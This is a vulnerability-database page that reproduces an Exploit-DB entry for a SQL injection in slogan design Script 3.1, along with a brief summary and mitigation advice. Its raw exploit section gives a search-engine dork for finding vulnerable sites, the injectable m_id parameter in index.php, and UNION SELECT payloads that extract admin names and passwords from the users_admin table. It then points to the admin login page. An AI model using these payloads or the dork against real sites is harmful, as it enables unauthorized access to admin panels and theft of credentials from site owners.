slogan design Script SQL Injection Vulnerability

vendor:

slogan_design_script

by:

Mr.P3rfekT

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: slogan_design_script

Affected Version From: 3.1

Affected Version To: 3.1

Patch Exists: N/A

Related CWE: N/A

CPE: a:slogandesign:slogan_design_script

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Lunix

N/A

slogan design Script SQL Injection Vulnerability

A SQL injection vulnerability was discovered in slogan design Script version 3.1. An attacker can exploit this vulnerability by sending a malicious SQL query to the vulnerable parameter m_id in the index.php file. This can allow the attacker to gain access to the admin panel by using the PoC Username and Password. The vulnerable parameter can be found in the URL http://[site]/path/index.php?m_id={SQLi}.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should also be configured to use parameterized queries.

Source

Exploit-DB raw data:

Title: slogan design Script SQL Injection Vulnerability
# Version:
3.1
# Author: Mr.P3rfekT
# Software Site:
http://www.slogandesign.co.il
# Tested on Lunix
# CVE : N/A

###############
Founded By Mr.P3rfekT --- We Will Not Go Down ###############

#
Dork : " inurl:"index.php?m_id="

# Helllo Allz.


#
Exploit :

http://[site]/path/index.php?m_id={SQLi}



#
Poc Username:

union select
1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from users_admin


# Poc Password:

union select
1,2,3,4,5,6,7,8,pass,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from users_admin


# Demo:

http://[site]/union
select
1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from users_admin

# Admin Login


#
http://[site]/admin/login.php

# ./done.


####################################################################